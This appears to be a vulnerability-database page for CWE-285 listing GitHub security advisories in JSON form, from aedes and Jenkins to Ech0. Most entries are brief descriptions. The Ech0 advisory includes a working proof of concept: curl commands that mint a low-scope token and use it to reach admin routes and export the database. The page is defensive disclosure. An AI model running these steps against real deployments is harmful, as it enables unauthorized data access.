CWE-285
DiscouragedImproper Authorization
Abstraction: Class · Status: Draft
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
2329 vulnerabilities reference this CWE, most recent first.
GHSA-4CMX-HRQ9-C23P
Vulnerability from github – Published: 2018-08-15 20:03 – Updated: 2023-04-21 18:30Versions of aedes before 0.35.1 does not respect its own authorization rules when a client sets a Last Will.
Recommendation
Update to version 0.35.1 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "aedes"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.35.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-3778"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T20:58:11Z",
"nvd_published_at": "2018-08-08T20:29:00Z",
"severity": "MODERATE"
},
"details": "Versions of `aedes` before 0.35.1 does not respect its own authorization rules when a client sets a `Last Will`.\n\n\n## Recommendation\n\nUpdate to version 0.35.1 or later.",
"id": "GHSA-4cmx-hrq9-c23p",
"modified": "2023-04-21T18:30:53Z",
"published": "2018-08-15T20:03:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3778"
},
{
"type": "WEB",
"url": "https://github.com/moscajs/aedes/issues/211"
},
{
"type": "WEB",
"url": "https://github.com/moscajs/aedes/issues/212"
},
{
"type": "WEB",
"url": "https://github.com/moscajs/aedes/commit/ffbc1702bb24b596afbb96407cc6db234a4044a8"
},
{
"type": "PACKAGE",
"url": "https://github.com/moscajs/aedes"
},
{
"type": "WEB",
"url": "https://github.com/nodejs/security-wg/blob/master/vuln/npm/457.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper Authorization in aedes"
}
GHSA-4CVJ-XF75-4WV6
Vulnerability from github – Published: 2026-05-18 06:31 – Updated: 2026-05-18 06:31A vulnerability has been found in Tencent WeKnora up to 0.3.6. Affected by this issue is the function getKnowledgeBaseForInitialization of the file internal/handler/initialization.go of the component Config API Endpoint. The manipulation of the argument kbId leads to authorization bypass. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-8786"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-18T04:16:34Z",
"severity": "LOW"
},
"details": "A vulnerability has been found in Tencent WeKnora up to 0.3.6. Affected by this issue is the function getKnowledgeBaseForInitialization of the file internal/handler/initialization.go of the component Config API Endpoint. The manipulation of the argument kbId leads to authorization bypass. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-4cvj-xf75-4wv6",
"modified": "2026-05-18T06:31:18Z",
"published": "2026-05-18T06:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8786"
},
{
"type": "WEB",
"url": "https://gist.github.com/YLChen-007/1cdc50418f29af7ae671466425e52c7b"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/812172"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/364410"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/364410/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4CVM-W5CQ-5GHX
Vulnerability from github – Published: 2025-09-03 00:30 – Updated: 2025-09-03 00:30A vulnerability has been found in macrozheng mall up to 1.0.3. This affects the function cancelOrder of the file /order/cancelUserOrder. The manipulation of the argument orderId leads to authorization bypass. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-9835"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-02T22:15:33Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in macrozheng mall up to 1.0.3. This affects the function cancelOrder of the file /order/cancelUserOrder. The manipulation of the argument orderId leads to authorization bypass. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-4cvm-w5cq-5ghx",
"modified": "2025-09-03T00:30:56Z",
"published": "2025-09-03T00:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9835"
},
{
"type": "WEB",
"url": "https://github.com/ez-lbz/poc/issues/46"
},
{
"type": "WEB",
"url": "https://github.com/ez-lbz/poc/issues/46#issue-3354477952"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.322182"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.322182"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.641729"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4GRX-M9VQ-M87H
Vulnerability from github – Published: 2025-06-11 00:30 – Updated: 2025-06-11 00:30Adobe Experience Manager versions 6.5.22 and earlier are affected by an Improper Authorization vulnerability that could result in Privilege escalation. A low privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized access. Exploitation of this issue requires user interaction. A successful attacker can abuse this to achieve session takeover, increasing the confidentiality and integrity impact as high.
{
"affected": [],
"aliases": [
"CVE-2025-46840"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-10T23:15:24Z",
"severity": "HIGH"
},
"details": "Adobe Experience Manager versions 6.5.22 and earlier are affected by an Improper Authorization vulnerability that could result in Privilege escalation. A low privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized access. Exploitation of this issue requires user interaction. A successful attacker can abuse this to achieve session takeover, increasing the confidentiality and integrity impact as high.",
"id": "GHSA-4grx-m9vq-m87h",
"modified": "2025-06-11T00:30:36Z",
"published": "2025-06-11T00:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46840"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-48.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4H47-H3CR-23WH
Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2022-06-30 17:20A denial of service vulnerability exists in Jenkins 2.145 and earlier, LTS 2.138.1 and earlier in core/src/main/java/hudson/security/HudsonPrivateSecurityRealm.java that allows attackers without Overall/Read permission to access a specific URL on instances using the built-in Jenkins user database security realm that results in the creation of an ephemeral user record in memory.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.138.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.138.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.145"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.140"
},
{
"fixed": "2.146"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1000408"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-30T17:20:23Z",
"nvd_published_at": "2019-01-09T23:29:00Z",
"severity": "MODERATE"
},
"details": "A denial of service vulnerability exists in Jenkins 2.145 and earlier, LTS 2.138.1 and earlier in core/src/main/java/hudson/security/HudsonPrivateSecurityRealm.java that allows attackers without Overall/Read permission to access a specific URL on instances using the built-in Jenkins user database security realm that results in the creation of an ephemeral user record in memory.",
"id": "GHSA-4h47-h3cr-23wh",
"modified": "2022-06-30T17:20:23Z",
"published": "2022-05-13T01:48:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000408"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/01157a699f611ca7492e872103ac01526a982cf2"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/jenkins"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2018-10-10/#SECURITY-1128"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106532"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Improper Authorization in Jenkins"
}
GHSA-4H4C-QGXG-P3QV
Vulnerability from github – Published: 2022-05-17 02:24 – Updated: 2022-05-17 02:24An issue was discovered in Asterisk Open Source 11.x before 11.25.1, 13.x before 13.13.1, and 14.x before 14.2.1 and Certified Asterisk 11.x before 11.6-cert16 and 13.x before 13.8-cert4. The chan_sip channel driver has a liberal definition for whitespace when attempting to strip the content between a SIP header name and a colon character. Rather than following RFC 3261 and stripping only spaces and horizontal tabs, Asterisk treats any non-printable ASCII character as if it were whitespace. This means that headers such as Contact\x01: will be seen as a valid Contact header. This mostly does not pose a problem until Asterisk is placed in tandem with an authenticating SIP proxy. In such a case, a crafty combination of valid and invalid To headers can cause a proxy to allow an INVITE request into Asterisk without authentication since it believes the request is an in-dialog request. However, because of the bug described above, the request will look like an out-of-dialog request to Asterisk. Asterisk will then process the request as a new call. The result is that Asterisk can process calls from unvetted sources without any authentication. If you do not use a proxy for authentication, then this issue does not affect you. If your proxy is dialog-aware (meaning that the proxy keeps track of what dialogs are currently valid), then this issue does not affect you. If you use chan_pjsip instead of chan_sip, then this issue does not affect you.
{
"affected": [],
"aliases": [
"CVE-2016-9938"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-12-12T21:59:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Asterisk Open Source 11.x before 11.25.1, 13.x before 13.13.1, and 14.x before 14.2.1 and Certified Asterisk 11.x before 11.6-cert16 and 13.x before 13.8-cert4. The chan_sip channel driver has a liberal definition for whitespace when attempting to strip the content between a SIP header name and a colon character. Rather than following RFC 3261 and stripping only spaces and horizontal tabs, Asterisk treats any non-printable ASCII character as if it were whitespace. This means that headers such as Contact\\x01: will be seen as a valid Contact header. This mostly does not pose a problem until Asterisk is placed in tandem with an authenticating SIP proxy. In such a case, a crafty combination of valid and invalid To headers can cause a proxy to allow an INVITE request into Asterisk without authentication since it believes the request is an in-dialog request. However, because of the bug described above, the request will look like an out-of-dialog request to Asterisk. Asterisk will then process the request as a new call. The result is that Asterisk can process calls from unvetted sources without any authentication. If you do not use a proxy for authentication, then this issue does not affect you. If your proxy is dialog-aware (meaning that the proxy keeps track of what dialogs are currently valid), then this issue does not affect you. If you use chan_pjsip instead of chan_sip, then this issue does not affect you.",
"id": "GHSA-4h4c-qgxg-p3qv",
"modified": "2022-05-17T02:24:51Z",
"published": "2022-05-17T02:24:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-9938"
},
{
"type": "WEB",
"url": "http://downloads.asterisk.org/pub/security/AST-2016-009.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/94789"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1037408"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4H6X-9M53-WFC7
Vulnerability from github – Published: 2023-07-03 21:30 – Updated: 2024-04-04 05:21The affected TBox RTUs allow low privilege users to access software security tokens of higher privilege. This could allow an attacker with “user” privileges to access files requiring higher privileges by establishing an SSH session and providing the other tokens.
{
"affected": [],
"aliases": [
"CVE-2023-36611"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-03T21:15:10Z",
"severity": "MODERATE"
},
"details": "\nThe affected TBox RTUs allow low privilege users to access software security tokens of higher privilege. This could allow an attacker with \u201cuser\u201d privileges to access files requiring higher privileges by establishing an SSH session and providing the other tokens.\n\n",
"id": "GHSA-4h6x-9m53-wfc7",
"modified": "2024-04-04T05:21:03Z",
"published": "2023-07-03T21:30:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36611"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-180-03"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4H86-MVGC-529G
Vulnerability from github – Published: 2023-10-04 12:30 – Updated: 2024-04-04 08:16Improper authorization vulnerability in HelpDezk Community affecting version 1.1.10. This vulnerability could allow a remote attacker to access the platform without authentication and retrieve personal data via the jsonGrid parameter.
{
"affected": [],
"aliases": [
"CVE-2023-3037"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-04T12:15:10Z",
"severity": "HIGH"
},
"details": "Improper authorization vulnerability in HelpDezk Community affecting version 1.1.10. This vulnerability could allow a remote attacker to access the platform without authentication and retrieve personal data via the jsonGrid parameter.",
"id": "GHSA-4h86-mvgc-529g",
"modified": "2024-04-04T08:16:13Z",
"published": "2023-10-04T12:30:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3037"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-helpdezk-community"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-4H9Q-P5J4-XVVH
Vulnerability from github – Published: 2026-04-10 19:39 – Updated: 2026-04-10 19:39Summary
Ech0 scoped access tokens do not reliably enforce least privilege: multiple privileged admin routes omit scope checks, and the backup export handler strips token scope metadata entirely, allowing a low-scope admin access token to reach broader admin functionality than intended.
Impact
An attacker who obtains a deliberately limited access token for an admin account can use that token to access privileged functionality outside its assigned scope. Confirmed impact includes access to /api/inbox with a token scoped only for echo:read and successful backup export via /api/backup/export?token=..., which returns a full ZIP archive. In practice, this turns a narrowly delegated API token into a broader privileged access and data exfiltration primitive.
Details
The issue is caused by a split authorization model:
JWTAuthMiddleware()authenticates the token and stores scope metadata in the viewer contextRequireScopes(...)enforces least privilege, but only when a route explicitly adds it- several privileged routes omit
RequireScopes(...) - multiple service methods then authorize using only
user.IsAdmin
internal/middleware/scope.go shows that scope enforcement is opt-in:
func RequireScopes(scopes ...string) gin.HandlerFunc {
return func(ctx *gin.Context) {
v := viewer.MustFromContext(ctx.Request.Context())
if v.TokenType() == authModel.TokenTypeSession {
ctx.Next()
return
}
if v.TokenType() != authModel.TokenTypeAccess { ... }
if !containsValidAudience(v.Audience()) { ... }
if !containsAllScopes(v.Scopes(), scopes) { ... }
ctx.Next()
}
}
Representative privileged routes omit RequireScopes(...), for example internal/router/inbox.go:
func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET("/inbox", h.InboxHandler.GetInboxList())
appRouterGroup.AuthRouterGroup.GET("/inbox/unread", h.InboxHandler.GetUnreadInbox())
appRouterGroup.AuthRouterGroup.PUT("/inbox/:id/read", h.InboxHandler.MarkInboxAsRead())
appRouterGroup.AuthRouterGroup.DELETE("/inbox/:id", h.InboxHandler.DeleteInbox())
appRouterGroup.AuthRouterGroup.DELETE("/inbox", h.InboxHandler.ClearInbox())
}
Other source-confirmed unguarded privileged surfaces include:
/api/panel/comments*/api/addConnect/api/delConnect/:id/api/migration/*/api/backup/export
Service-layer authorization often checks only admin role. For example, internal/service/inbox/inbox.go:
func (inboxService *InboxService) ensureAdmin(ctx context.Context) error {
userid := viewer.MustFromContext(ctx).UserID()
user, err := inboxService.commonService.CommonGetUserByUserId(ctx, userid)
if err != nil {
return err
}
if !user.IsAdmin {
return errors.New(commonModel.NO_PERMISSION_DENIED)
}
return nil
}
The backup export path is a stronger variant because it discards token metadata before authorization. internal/handler/backup/backup.go reparses a query token and rebuilds a bare viewer from only the user ID:
func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {
return res.Execute(func(ctx *gin.Context) res.Response {
token := ctx.Query("token")
claims, err := jwtUtil.ParseToken(token)
if err != nil { ... }
reqCtx := viewer.WithContext(context.Background(), viewer.NewUserViewer(claims.Userid))
if err := backupHandler.backupService.ExportBackup(ctx, reqCtx); err != nil { ... }
return res.Response{Msg: commonModel.EXPORT_BACKUP_SUCCESS}
})
}
This drops token type, scopes, audience, and token ID before the backup service runs.
Proof of concept
1. Start the app
docker run -d \
--name ech0 \
-p 6277:6277 \
-v /opt/ech0/data:/app/data \
-e JWT_SECRET="Hello Echos" \
sn0wl1n/ech0:latest
2. Initialize an owner account
curl -sS -X POST "http://127.0.0.1:6277/api/init/owner" \
-H 'Content-Type: application/json' \
-d '{"username":"owner","password":"ownerpass","email":"owner@example.com"}'
3. Log in as the owner and mint a low-scope access token
owner_token=$(
curl -sS -X POST "http://127.0.0.1:6277/api/login" \
-H 'Content-Type: application/json' \
-d '{"username":"owner","password":"ownerpass"}' \
| sed -n 's/.*"data":"\([^"]*\)".*/\1/p'
)
low_scope_admin_token=$(
curl -sS -X POST "http://127.0.0.1:6277/api/access-tokens" \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $owner_token" \
-d '{"name":"echo-read-only","expiry":"8_hours","scopes":["echo:read"],"audience":"cli"}' \
| sed -n 's/.*"data":"\([^"]*\)".*/\1/p'
)
4. Use the low-scope token on an unguarded admin route
curl -sS "http://127.0.0.1:6277/api/inbox" \
-H "Authorization: Bearer $low_scope_admin_token"
Observed response:
{"code":1,"msg":"获取收件箱成功","data":{"total":0,"items":[]}}
5. Use the same low-scope token on backup export
curl "http://127.0.0.1:6277/api/backup/export?token=$low_scope_admin_token"
Observed response:
Try to unzip we will have log and database file:
->% unzip a.zip -d a
Archive: a.zip
inflating: a/app.log
inflating: a/ech0.db
Recommended fix
Apply scope enforcement to every privileged route, move backup export behind the authenticated router group, and preserve the existing authenticated viewer context instead of rebuilding identity from raw JWT claims.
Suggested route-level changes:
import (
"github.com/lin-snow/ech0/internal/handler"
"github.com/lin-snow/ech0/internal/middleware"
authModel "github.com/lin-snow/ech0/internal/model/auth"
)
func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET(
"/inbox",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.InboxHandler.GetInboxList(),
)
// Apply the same pattern to the remaining inbox routes.
}
func setupCommonRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET(
"/backup/export",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.BackupHandler.ExportBackup(),
)
}
Suggested handler fix for internal/handler/backup/backup.go:
func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {
return res.Execute(func(ctx *gin.Context) res.Response {
if err := backupHandler.backupService.ExportBackup(ctx, ctx.Request.Context()); err != nil {
return res.Response{
Msg: "",
Err: err,
}
}
return res.Response{
Msg: commonModel.EXPORT_BACKUP_SUCCESS,
}
})
}
The same principle should be applied to other privileged services: do not authorize only on user.IsAdmin; also validate scopes carried by access tokens.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lin-snow/ech0"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:39:46Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nEch0 scoped access tokens do not reliably enforce least privilege: multiple privileged admin routes omit scope checks, and the backup export handler strips token scope metadata entirely, allowing a low-scope admin access token to reach broader admin functionality than intended.\n\n## Impact\n\nAn attacker who obtains a deliberately limited access token for an admin account can use that token to access privileged functionality outside its assigned scope. Confirmed impact includes access to `/api/inbox` with a token scoped only for `echo:read` and successful backup export via `/api/backup/export?token=...`, which returns a full ZIP archive. In practice, this turns a narrowly delegated API token into a broader privileged access and data exfiltration primitive.\n\n## Details\n\nThe issue is caused by a split authorization model:\n\n- `JWTAuthMiddleware()` authenticates the token and stores scope metadata in the viewer context\n- `RequireScopes(...)` enforces least privilege, but only when a route explicitly adds it\n- several privileged routes omit `RequireScopes(...)`\n- multiple service methods then authorize using only `user.IsAdmin`\n\n`internal/middleware/scope.go` shows that scope enforcement is opt-in:\n\n```go\nfunc RequireScopes(scopes ...string) gin.HandlerFunc {\n\treturn func(ctx *gin.Context) {\n\t\tv := viewer.MustFromContext(ctx.Request.Context())\n\t\tif v.TokenType() == authModel.TokenTypeSession {\n\t\t\tctx.Next()\n\t\t\treturn\n\t\t}\n\t\tif v.TokenType() != authModel.TokenTypeAccess { ... }\n\t\tif !containsValidAudience(v.Audience()) { ... }\n\t\tif !containsAllScopes(v.Scopes(), scopes) { ... }\n\t\tctx.Next()\n\t}\n}\n```\n\nRepresentative privileged routes omit `RequireScopes(...)`, for example `internal/router/inbox.go`:\n\n```go\nfunc setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\tappRouterGroup.AuthRouterGroup.GET(\"/inbox\", h.InboxHandler.GetInboxList())\n\tappRouterGroup.AuthRouterGroup.GET(\"/inbox/unread\", h.InboxHandler.GetUnreadInbox())\n\tappRouterGroup.AuthRouterGroup.PUT(\"/inbox/:id/read\", h.InboxHandler.MarkInboxAsRead())\n\tappRouterGroup.AuthRouterGroup.DELETE(\"/inbox/:id\", h.InboxHandler.DeleteInbox())\n\tappRouterGroup.AuthRouterGroup.DELETE(\"/inbox\", h.InboxHandler.ClearInbox())\n}\n```\n\nOther source-confirmed unguarded privileged surfaces include:\n\n- `/api/panel/comments*`\n- `/api/addConnect`\n- `/api/delConnect/:id`\n- `/api/migration/*`\n- `/api/backup/export`\n\nService-layer authorization often checks only admin role. For example, `internal/service/inbox/inbox.go`:\n\n```go\nfunc (inboxService *InboxService) ensureAdmin(ctx context.Context) error {\n\tuserid := viewer.MustFromContext(ctx).UserID()\n\tuser, err := inboxService.commonService.CommonGetUserByUserId(ctx, userid)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !user.IsAdmin {\n\t\treturn errors.New(commonModel.NO_PERMISSION_DENIED)\n\t}\n\treturn nil\n}\n```\n\nThe backup export path is a stronger variant because it discards token metadata before authorization. `internal/handler/backup/backup.go` reparses a query token and rebuilds a bare viewer from only the user ID:\n\n```go\nfunc (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {\n\treturn res.Execute(func(ctx *gin.Context) res.Response {\n\t\ttoken := ctx.Query(\"token\")\n\t\tclaims, err := jwtUtil.ParseToken(token)\n\t\tif err != nil { ... }\n\n\t\treqCtx := viewer.WithContext(context.Background(), viewer.NewUserViewer(claims.Userid))\n\t\tif err := backupHandler.backupService.ExportBackup(ctx, reqCtx); err != nil { ... }\n\t\treturn res.Response{Msg: commonModel.EXPORT_BACKUP_SUCCESS}\n\t})\n}\n```\n\nThis drops token type, scopes, audience, and token ID before the backup service runs.\n\n## Proof of concept\n\n### 1. Start the app\n\n```bash\ndocker run -d \\\n --name ech0 \\\n -p 6277:6277 \\\n -v /opt/ech0/data:/app/data \\\n -e JWT_SECRET=\"Hello Echos\" \\\n sn0wl1n/ech0:latest\n```\n\n### 2. Initialize an owner account\n\n```bash\ncurl -sS -X POST \"http://127.0.0.1:6277/api/init/owner\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"owner\",\"password\":\"ownerpass\",\"email\":\"owner@example.com\"}\u0027\n```\n\n### 3. Log in as the owner and mint a low-scope access token\n\n```bash\nowner_token=$(\n curl -sS -X POST \"http://127.0.0.1:6277/api/login\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"owner\",\"password\":\"ownerpass\"}\u0027 \\\n | sed -n \u0027s/.*\"data\":\"\\([^\"]*\\)\".*/\\1/p\u0027\n)\n\nlow_scope_admin_token=$(\n curl -sS -X POST \"http://127.0.0.1:6277/api/access-tokens\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \"Authorization: Bearer $owner_token\" \\\n -d \u0027{\"name\":\"echo-read-only\",\"expiry\":\"8_hours\",\"scopes\":[\"echo:read\"],\"audience\":\"cli\"}\u0027 \\\n | sed -n \u0027s/.*\"data\":\"\\([^\"]*\\)\".*/\\1/p\u0027\n)\n```\n\n### 4. Use the low-scope token on an unguarded admin route\n\n```bash\ncurl -sS \"http://127.0.0.1:6277/api/inbox\" \\\n -H \"Authorization: Bearer $low_scope_admin_token\"\n```\n\nObserved response:\n\n```text\n{\"code\":1,\"msg\":\"\u83b7\u53d6\u6536\u4ef6\u7bb1\u6210\u529f\",\"data\":{\"total\":0,\"items\":[]}}\n```\n\n### 5. Use the same low-scope token on backup export\n\n```bash\ncurl \"http://127.0.0.1:6277/api/backup/export?token=$low_scope_admin_token\"\n```\n\nObserved response:\n\n\u003cimg width=\"585\" height=\"111\" alt=\"image\" src=\"https://github.com/user-attachments/assets/28dd7037-163b-4d7c-8994-a719220b3a6c\" /\u003e\n\nTry to unzip we will have log and database file:\n\n```\n-\u003e% unzip a.zip -d a\nArchive: a.zip\n inflating: a/app.log \n inflating: a/ech0.db \n```\n\n## Recommended fix\n\nApply scope enforcement to every privileged route, move backup export behind the authenticated router group, and preserve the existing authenticated viewer context instead of rebuilding identity from raw JWT claims.\n\nSuggested route-level changes:\n\n```go\nimport (\n\t\"github.com/lin-snow/ech0/internal/handler\"\n\t\"github.com/lin-snow/ech0/internal/middleware\"\n\tauthModel \"github.com/lin-snow/ech0/internal/model/auth\"\n)\n\nfunc setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\tappRouterGroup.AuthRouterGroup.GET(\n\t\t\"/inbox\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.InboxHandler.GetInboxList(),\n\t)\n\t// Apply the same pattern to the remaining inbox routes.\n}\n\nfunc setupCommonRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\tappRouterGroup.AuthRouterGroup.GET(\n\t\t\"/backup/export\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.BackupHandler.ExportBackup(),\n\t)\n}\n```\n\nSuggested handler fix for `internal/handler/backup/backup.go`:\n\n```go\nfunc (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {\n\treturn res.Execute(func(ctx *gin.Context) res.Response {\n\t\tif err := backupHandler.backupService.ExportBackup(ctx, ctx.Request.Context()); err != nil {\n\t\t\treturn res.Response{\n\t\t\t\tMsg: \"\",\n\t\t\t\tErr: err,\n\t\t\t}\n\t\t}\n\n\t\treturn res.Response{\n\t\t\tMsg: commonModel.EXPORT_BACKUP_SUCCESS,\n\t\t}\n\t})\n}\n```\n\nThe same principle should be applied to other privileged services: do not authorize only on `user.IsAdmin`; also validate scopes carried by access tokens.",
"id": "GHSA-4h9q-p5j4-xvvh",
"modified": "2026-04-10T19:39:46Z",
"published": "2026-04-10T19:39:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-4h9q-p5j4-xvvh"
},
{
"type": "PACKAGE",
"url": "https://github.com/lin-snow/Ech0"
},
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/releases/tag/v4.3.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Ech0: Scoped admin access tokens can bypass least-privilege controls on privileged endpoints, including backup export"
}
GHSA-4HGF-CX4C-6C53
Vulnerability from github – Published: 2025-01-14 18:32 – Updated: 2025-01-14 18:32Microsoft SharePoint Server Remote Code Execution Vulnerability
{
"affected": [],
"aliases": [
"CVE-2025-21348"
],
